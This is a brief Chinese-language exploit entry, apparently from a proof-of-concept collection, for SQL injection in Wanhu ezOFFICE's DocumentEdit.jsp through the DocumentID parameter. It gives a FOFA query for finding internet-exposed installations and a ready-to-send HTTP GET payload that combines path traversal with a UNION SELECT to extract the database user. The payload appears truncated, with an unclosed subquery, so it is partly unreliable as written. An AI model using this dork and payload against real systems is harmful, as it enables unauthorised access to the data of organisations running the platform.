W1-5万户-ezOffice-SQL

漏洞描述：

万户 ezOFFICE DocumentEdit.jsp 存在SQL注入漏洞。由于'DocumentID'参数缺乏过滤，允许攻击者利用漏洞获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

FOFA：app="ezOFFICE协同管理平台"

漏洞复现：

payload：

```
GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1'%20union%20select%20null,null,(select%20user%20from%20dual
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Connection: close
```

效果图:
查询用户信息